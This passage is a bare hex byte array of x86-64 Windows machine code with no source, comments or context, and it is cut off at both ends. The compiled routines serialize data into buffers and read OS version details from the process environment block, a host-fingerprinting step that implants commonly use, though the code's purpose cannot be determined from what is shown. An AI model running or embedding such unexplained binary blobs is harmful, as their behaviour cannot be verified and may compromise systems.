0x8B,0x55,0xC8,0x49,0x89,0xD1,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x85,0xC1,0x01,0x00,0x00,0x48,0x8B,0x05,0x06,0xD5,0x00,0x00,0xFF,0xD0,0x83,0xF8,0x7A,0x0F,0x85,0xAF,0x01,0x00,0x00,0x8B,0x45,0xBC,0x83,0xC0,0x01,0x89,0x45,0xBC,0x8B,0x45,0xBC,0x89,0xC0,0x48,0x8D,0x1C,0x00,0x48,0x8B,0x05,0xFA,0xD4,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF6,0xD4,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x74,0x01,0x00,0x00,0x48,0x8D,0x4D,0xBC,0x48,0x8B,0x55,0xE8,0x48,0x8D,0x45,0xB0,0x4C,0x8B,0x55,0xC8,0x49,0x89,0xC9,0x49,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x00,0x00,0x00,0x00,0x41,0xFF,0xD2,0x89,0x45,0xD8,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x49,0x01,0x00,0x00,0x48,0x8B,0x55,0x28,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0x48,0x8B,0x05,0x45,0xD5,0x00,0x00,0xFF,0xD0,0x85,0xC0,0x0F,0x85,0xB2,0x00,0x00,0x00,0xC7,0x45,0xD4,0x01,0x00,0x00,0x00,0xC7,0x45,0x80,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0x88,0x8B,0x45,0xB8,0x89,0x45,0x90,0x48,0x8B,0x45,0x20,0x48,0x8D,0x4D,0xC4,0x48,0x8D,0x55,0x80,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x1F,0xF6,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x0C,0xC7,0x45,0xC4,0x00,0x00,0x00,0x00,0xE9,0xE9,0x00,0x00,0x00,0x8B,0x45,0xC4,0x85,0xC0,0x75,0x60,0x83,0x7D,0x30,0x00,0x74,0x5A,0xC7,0x45,0xA0,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0xB0,0x48,0x89,0x45,0xA4,0xC7,0x45,0xAC,0x02,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xA0,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x10,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x08,0xEA,0xFF,0xFF,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x0F,0x88,0x88,0x00,0x00,0x00,0xC7,0x45,0xC4,0x01,0x00,0x00,0x00,0x90,0xEB,0x7F,0x48,0x83,0x7D,0xE8,0x00,0x74,0x4D,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x1E,0x32,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB6,0x31,0x00,0x00,0x48,0x8B,0x05,0xA7,0xD3,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA7,0xD3,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x45,0xFC,0x01,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x39,0x45,0xFC,0x0F,0x82,0xF4,0xFD,0xFF,0xFF,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x49,0x48,0x83,0x7D,0xF0,0x00,0x74,0x42,0x8B,0x45,0xC0,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3B,0x31,0x00,0x00,0x48,0x8B,0x05,0x2C,0xD3,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x2C,0xD3,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0xE8,0x00,0x74,0x54,0x48,0x83,0x7D,0xE8,0x00,0x74,0x4D,0x48,0x8B,0x45,0xE8,0x48,0x89,0xC1,0xE8,0x48,0x31,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE0,0x30,0x00,0x00,0x48,0x8B,0x05,0xD1,0xD2,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD1,0xD2,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0x7D,0xE4,0x00,0x74,0x15,0x48,0x8B,0x45,0x20,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0x20,0x48,0x89,0xC1,0xE8,0x4A,0xE7,0xFF,0xFF,0x8B,0x45,0xC4,0x48,0x81,0xC4,0xB8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x89,0xC2,0x8B,0x45,0x18,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x8B,0x4D,0x28,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0xF8,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x3E,0x30,0x00,0x00,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x8B,0x50,0x10,0x8B,0x45,0x20,0x01,0xD0,0x89,0x45,0xFC,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x39,0x45,0xFC,0x73,0x25,0x48,0x8D,0x05,0x01,0x5A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x99,0x86,0xFF,0xFF,0x48,0x8D,0x05,0x22,0x5A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x86,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x65,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x18,0x48,0x39,0xC2,0x72,0x25,0x48,0x8D,0x05,0x04,0x5A,0x00,0x00,0x48,0x89,0xC1,0xE8,0x64,0x86,0xFF,0xFF,0x48,0x8D,0x05,0xED,0x59,0x00,0x00,0x48,0x89,0xC1,0xE8,0x55,0x86,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x30,0x48,0x8B,0x45,0x10,0x8B,0x50,0x10,0x44,0x8B,0x45,0x20,0x48,0x8B,0x4D,0x18,0x48,0x8B,0x45,0x10,0x45,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x0D,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x55,0xFC,0x89,0x50,0x10,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0x8B,0x45,0x10,0x8B,0x40,0x20,0x89,0x45,0xD0,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x24,0x66,0x89,0x45,0xD4,0x48,0x8B,0x45,0x10,0x0F,0xB7,0x40,0x26,0x66,0x89,0x45,0xD6,0xC7,0x45,0xD8,0x03,0x00,0x00,0x00,0xC7,0x45,0xDC,0x20,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD4,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xD6,0x66,0x89,0x02,0x83,0x45,0xFC,0x02,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xD8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xDC,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE0,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE4,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xE8,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xB0,0x48,0x01,0xC2,0x8B,0x45,0xEC,0x89,0x02,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0x10,0x41,0xB8,0x20,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF5,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x38,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0x4D,0x20,0x48,0x89,0xD3,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x03,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x04,0x89,0x02,0x83,0x45,0xFC,0x04,0x8B,0x45,0xFC,0x48,0x8D,0x55,0xF0,0x48,0x01,0xC2,0x8B,0x43,0x08,0x89,0x02,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x41,0xB8,0x0C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6D,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x38,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x07,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF4,0x48,0x89,0x45,0xC0,0x8B,0x45,0xFC,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x29,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9F,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x04,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x89,0x45,0xC0,0x8B,0x45,0xF0,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xD9,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x52,0x48,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x09,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xDC,0x48,0x89,0x45,0xC0,0x8B,0x45,0xE4,0x89,0x45,0xC8,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x8C,0xFE,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0x90,0x0F,0x11,0x45,0xA0,0x0F,0x11,0x45,0xB0,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x1C,0x01,0x00,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x20,0x01,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xF8,0x48,0x05,0x24,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xF8,0x48,0x05,0xE8,0x02,0x00,0x00,0x48,0x89,0x45,0xD0,0x66,0xC7,0x45,0x90,0x09,0x00,0x66,0xC7,0x45,0x92,0x00,0x00,0x66,0xC7,0x45,0x94,0x00,0x00,0xC6,0x45,0x96,0x00,0xC6,0x45,0x97,0x01,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x89,0x45,0x98,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x89,0x45,0x9C,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x45,0xA0,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0x45,0xA4,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x66,0xC7,0x45,0xAC,0x00,0x00,0x66,0xC7,0x45,0xAE,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0xC7,0x45,0x8C,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x50,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x58,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x60,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x68,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x90,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x92,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0x94,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x96,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB6,0x45,0x97,0x88,0x02,0x83,0x45,0xCC,0x01,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x98,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0x9C,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA0,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA4,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x8B,0x45,0xA8,0x89,0x02,0x83,0x45,0xCC,0x04,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAC,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x0F,0xB7,0x45,0xAE,0x66,0x89,0x02,0x83,0x45,0xCC,0x02,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB0,0x48,0x89,0x02,0x83,0x45,0xCC,0x08,0x8B,0x45,0xCC,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x01,0xC2,0x48,0x8B,0x45,0xB8,0x48,0x89,0x02,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x4C,0xFF,0xFF,0xFF,0x8B,0x4D,0x8C,0x48,0x8D,0x95,0x50,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xBB,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xD6,0x00,0x00,0x00,0x48,0x8D,0x55,0x8C,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x24,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x46,0xF9,0xFF,0xFF,0x48,0x8D,0x95,0x4C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x28,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x25,0xF9,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x8B,0x40,0x10,0x89,0x85,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x48,0x8D,0x95,0x44,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x38,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x56,0x48,0x8B,0x45,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC8,0x48,0x8B,0x45,0xD0,0x48,0x8B,0x50,0x08,0x48,0x8B,0x45,0x10,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x0C,0xF9,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2A,0x8B,0x85,0x4C,0xFF,0xFF,0xFF,0x8D,0x50,0x18,0x48,0x8D,0x8D,0x48,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x10,0x41,0xB9,0x04,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x93,0xF8,0xFF,0xFF,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x01,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x01,0x00,0x00,0x48,0x8D,0x05,0x52,0x53,0x00,0x00,0x48,0x89,0x85,0xA0,0x00,0x00,0x00,0x48,0x8D,0x05,0x5A,0x53,0x00,0x00,0x48,0x89,0x85,0xA8,0x00,0x00,0x00,0x48,0x8D,0x05,0x62,0x53,0x00,0x00,0x48,0x89,0x85,0xB0,0x00,0x00,0x00,0x48,0x8D,0x05,0x68,0x53,0x00,0x00,0x48,0x89,0x85,0xB8,0x00,0x00,0x00,0x48,0x8D,0x05,0x72,0x53,0x00,0x00,0x48,0x89,0x85,0xC0,0x00,0x00,0x00,0x48,0x8D,0x05,0x7E,0x53,0x00,0x00,0x48,0x89,0x85,0xC8,0x00,0x00,0x00,0x48,0x8D,0x05,0x88,0x53,0x00,0x00,0x48,0x89,0x85,0xD0,0x00,0x00,0x00,0x48,0x8D,0x05,0x94,0x53,0x00,0x00,0x48,0x89,0x85,0xD8,0x00,0x00,0x00,0x48,0x8D,0x05,0x9C,0x53,0x00,0x00,0x48,0x89,0x85,0xE0,0x00,0x00,0x00,0x48,0x8D,0x05,0xA8,0x53,0x00,0x00,0x48,0x89,0x85,0xE8,0x00,0x00,0x00,0x48,0x8D,0x05,0xAE,0x53,0x00,0x00,0x48,0x89,0x85,0xF0,0x00,0x00,0x00,0x48,0x8D,0x05,0xB6,0x53,0x00,0x00,0x48,0x89,0x85,0xF8,0x00,0x00,0x00,0x48,0x8D,0x05,0xBE,0x53,0x00,0x00,0x48,0x89,0x85,0x00,0x01,0x00,0x00,0x48,0x8D,0x05,0xC6,0x53,0x00,0x00,0x48,0x89,0x85,0x08,0x01,0x00,0x00,0x48,0x8D,0x05,0xD6,0x53,0x00,0x00,0x48,0x89,0x85,0x10,0x01,0x00,0x00,0x48,0x8D,0x05,0xE2,0x53,0x00,0x00,0x48,0x89,0x85,0x18,0x01,0x00,0x00,0x48,0x8D,0x05,0xEC,0x53,0x00,0x00,0x48,0x89,0x85,0x20,0x01,0x00,0x00,0x48,0x8D,0x05,0xF6,0x53,0x00,0x00,0x48,0x89,0x85,0x28,0x01,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x8D,0x95,0xA0,0x00,0x00,0x00,0x41,0xB9,0x01,0x00,0x00,0x00,0x41,0xB8,0x12,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF6,0xD3,0xFF,0xFF,0x48,0x89,0x85,0x40,0x01,0x00,0x00,0x48,0x83,0xBD,0x40,0x01,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x05,0x06,0x00,0x00,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0xC7,0x85,0x9C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xF6,0x00,0x00,0x00,0x8B,0x85,0x9C,0x00,0x00,0x00,0x83,0xC0,0x01,0x89,0x85,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x50,0x10,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x89,0x90,0x14,0x02,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xC0,0x14,0xBA,0x00,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE6,0x23,0x00,0x00,0x89,0x45,0x18,0x8B,0x45,0x18,0x83,0xC0,0x01,0x89,0x45,0x18,0x8B,0x45,0x18,0x01,0xC0,0x89,0x45,0x18,0x48,0x8D,0x55,0x18,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF2,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAA,0x92,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x50,0x05,0x00,0x00,0x8B,0x4D,0x18,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8D,0x50,0x14,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xA5,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5D,0x92,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x03,0x05,0x00,0x00,0x48,0x8B,0x85,0x48,0x01,0x00,0x00,0x48,0x8B,0x00,0x48,0x89,0x85,0x48,0x01,0x00,0x00,0x48,0x83,0xBD,0x48,0x01,0x00,0x00,0x00,0x0F,0x85,0xFC,0xFE,0xFF,0xFF,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x8B,0x40,0x10,0x89,0x85,0x98,0x00,0x00,0x00,0x48,0x8D,0x95,0x9C,0x00,0x00,0x00,0x48,0x8B,0x85,0x70,0x01,0x00,0x00,0x41,0xB8,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2D,0xF6,0xFF,0xFF,0x85,0xC0,0x75,0x29,0x48,0x8B,0x85,0x40,0x01,0x00,0x00,0xBA,0x20,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE5,0x91,0xFF,0xFF,0x48,0xC7,0x85,0x40,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0x8B,0x04,0x00,0x00,0x48,0xC7,0x45,0x20,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x30,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x38,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x48,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x58,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x60,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x68,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x70,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x78,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x7C,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x84,0x00,0